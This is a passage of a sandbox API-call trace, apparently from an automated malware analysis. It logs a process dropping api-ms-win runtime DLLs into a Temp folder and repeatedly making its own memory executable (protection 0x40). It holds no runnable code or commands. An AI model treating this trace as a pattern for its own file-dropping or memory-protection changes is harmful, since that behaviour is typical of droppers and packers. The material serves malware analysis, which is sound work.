(lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-string-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.747] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.747] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.748] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.748] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.750] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.750] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.751] WriteFile (in: hFile=0x44, lpBuffer=0x1f36a548*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f36a548*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4738, lpOverlapped=0x0) returned 1 [0148.752] CloseHandle (hObject=0x44) returned 1 [0148.774] VirtualFree (lpAddress=0x1f36c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.775] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.775] VirtualAlloc (lpAddress=0x1f36c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f36c000 [0148.776] VirtualFree (lpAddress=0x1f364000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f36a548, cbMultiByte=32, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-synch-l1-1-0.dlll.dll.dll.dll") returned 32 [0148.777] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-synch-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-synch-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.777] VirtualAlloc (lpAddress=0x1f374000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f374000 [0148.778] VirtualFree (lpAddress=0x1f370000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.778] WriteFile (in: hFile=0x44, lpBuffer=0x1f37400c*, nNumberOfBytesToWrite=0x4f38, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f37400c*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4f38, lpOverlapped=0x0) returned 1 [0148.780] CloseHandle (hObject=0x44) returned 1 [0148.781] VirtualFree (lpAddress=0x1f374000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.782] VirtualAlloc (lpAddress=0x1f370000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f370000 [0148.782] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f36800c, cbMultiByte=32, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-synch-l1-2-0.dlll.dll.dll.dll") returned 32 [0148.783] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.783] WriteFile (in: hFile=0x44, lpBuffer=0x1f36803c*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f36803c*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4938, lpOverlapped=0x0) returned 1 [0148.785] CloseHandle (hObject=0x44) returned 1 [0148.789] VirtualFree (lpAddress=0x1f368000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.789] VirtualAlloc (lpAddress=0x1f364000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f364000 [0148.790] VirtualFree (lpAddress=0x1f374000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.790] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f373e08, cbMultiByte=34, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-sysinfo-l1-1-0.dlldll.dll.dll") returned 34 [0148.790] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-sysinfo-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-sysinfo-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.791] WriteFile (in: hFile=0x44, lpBuffer=0x1f3663c8*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f3663c8*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4b30, lpOverlapped=0x0) returned 1 [0148.792] CloseHandle (hObject=0x44) returned 1 [0148.795] VirtualFree (lpAddress=0x1f368000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.796] VirtualAlloc (lpAddress=0x1f368000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f368000 [0148.796] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f37000c, cbMultiByte=35, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-timezone-l1-1-0.dllll.dll.dll") returned 35 [0148.796] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.797] WriteFile (in: hFile=0x44, lpBuffer=0x1f36ab08*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f36ab08*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4730, lpOverlapped=0x0) returned 1 [0148.799] CloseHandle (hObject=0x44) returned 1 [0148.800] VirtualFree (lpAddress=0x1f36c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.800] VirtualFree (lpAddress=0x1f370000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.801] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f36ab08, cbMultiByte=31, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-util-l1-1-0.dll.dllll.dll.dll") returned 31 [0148.801] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-core-util-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-util-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.801] WriteFile (in: hFile=0x44, lpBuffer=0x1f365fd0*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f365fd0*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4738, lpOverlapped=0x0) returned 1 [0148.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.808] CloseHandle (hObject=0x44) returned 1 [0148.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.811] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f36ab34, cbMultiByte=31, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-conio-l1-1-0.dll.dllll.dll.dll") returned 31 [0148.811] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.811] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.812] VirtualAlloc (lpAddress=0x1f36c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f36c000 [0148.812] WriteFile (in: hFile=0x44, lpBuffer=0x1f36ab60*, nNumberOfBytesToWrite=0x4b38, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f36ab60*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4b38, lpOverlapped=0x0) returned 1 [0148.813] CloseHandle (hObject=0x44) returned 1 [0148.815] VirtualFree (lpAddress=0x1f36c000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.815] VirtualAlloc (lpAddress=0x1f36c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f36c000 [0148.816] VirtualFree (lpAddress=0x1f364000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.816] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f36ab60, cbMultiByte=33, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-convert-l1-1-0.dllllll.dll.dll") returned 33 [0148.816] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.817] VirtualAlloc (lpAddress=0x1f374000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f374000 [0148.817] WriteFile (in: hFile=0x44, lpBuffer=0x1f3702d8*, nNumberOfBytesToWrite=0x5738, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f3702d8*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x5738, lpOverlapped=0x0) returned 1 [0148.818] CloseHandle (hObject=0x44) returned 1 [0148.819] VirtualFree (lpAddress=0x1f374000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.820] VirtualAlloc (lpAddress=0x1f374000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f374000 [0148.820] VirtualFree (lpAddress=0x1f368000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0148.821] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f3702d8, cbMultiByte=37, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-environment-l1-1-0.dll.dll.dll") returned 37 [0148.821] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.822] WriteFile (in: hFile=0x44, lpBuffer=0x1f374c4c*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f374c4c*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4930, lpOverlapped=0x0) returned 1 [0148.823] CloseHandle (hObject=0x44) returned 1 [0148.825] VirtualFree (lpAddress=0x1f378000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.825] VirtualAlloc (lpAddress=0x1f378000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f378000 [0148.826] VirtualFree (lpAddress=0x1f370000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.826] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f374c4c, cbMultiByte=36, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-filesystem-l1-1-0.dlll.dll.dll") returned 36 [0148.827] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.841] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.841] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.841] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.842] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.842] WriteFile (in: hFile=0x44, lpBuffer=0x1f379bc8*, nNumberOfBytesToWrite=0x4f38, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f379bc8*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4f38, lpOverlapped=0x0) returned 1 [0148.843] CloseHandle (hObject=0x44) returned 1 [0148.845] VirtualFree (lpAddress=0x1f37c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.846] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.846] VirtualAlloc (lpAddress=0x1f37c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f37c000 [0148.847] VirtualFree (lpAddress=0x1f374000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.847] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f379bc8, cbMultiByte=30, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-heap-l1-1-0.dll-0.dlll.dll.dll") returned 30 [0148.847] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0148.848] WriteFile (in: hFile=0x44, lpBuffer=0x1f37e73c*, nNumberOfBytesToWrite=0x4b38, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f37e73c*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x4b38, lpOverlapped=0x0) returned 1 [0148.853] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.854] CloseHandle (hObject=0x44) returned 1 [0148.856] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.856] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.856] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.857] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.857] VirtualFree (lpAddress=0x1f380000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.857] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.858] VirtualAlloc (lpAddress=0x1f380000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f380000 [0148.858] VirtualFree (lpAddress=0x1f378000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f37e73c, cbMultiByte=32, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-locale-l1-1-0.dll.dlll.dll.dll") returned 32 [0148.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.859] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, 